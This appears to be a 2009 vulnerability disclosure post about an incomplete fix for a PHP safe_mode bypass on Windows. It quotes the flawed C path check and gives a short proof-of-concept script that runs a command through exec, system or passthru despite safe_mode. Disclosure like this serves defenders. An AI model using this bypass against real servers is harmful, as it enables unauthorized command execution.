[PHP safe_mode bypass with exec/system/passthru] Once again

php public new version :php5.2.10 ,and it fix lots of bugs, like this :

Bug #45997[safe_mode bypass with exec/system/passthru] incorrect fix

php5.2.10

...
       b = strrchr(cmd, PHP_DIR_SEPARATOR);
#ifdef PHP_WIN32
       if (b && *b == '\\' && b == cmd) {
           php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid
absolute path.");
           goto err;
       }
#endif
...

exec('\dir') not be evaluated, but exec('80vul\b\dir') will.

POC:

<?php
//updata:2009-6-19
// safe_mode=On and safe_mode_exec_dir not set in php.ini
// test on win32

 echo exec('80vul\b\dir');
// system('80vul\b\dir');
// passthru('80vul\b\dir');

?>


reference:

http://www.80vul.com/pch/pch-006.txt
http://hi.baidu.com/80vul_b/blog/item/8e0ea6cea6378f34f9dc614a.html
http://www.milw0rm.com/exploits/8799
http://bugs.php.net/bug.php?id=45997

-- 
hitest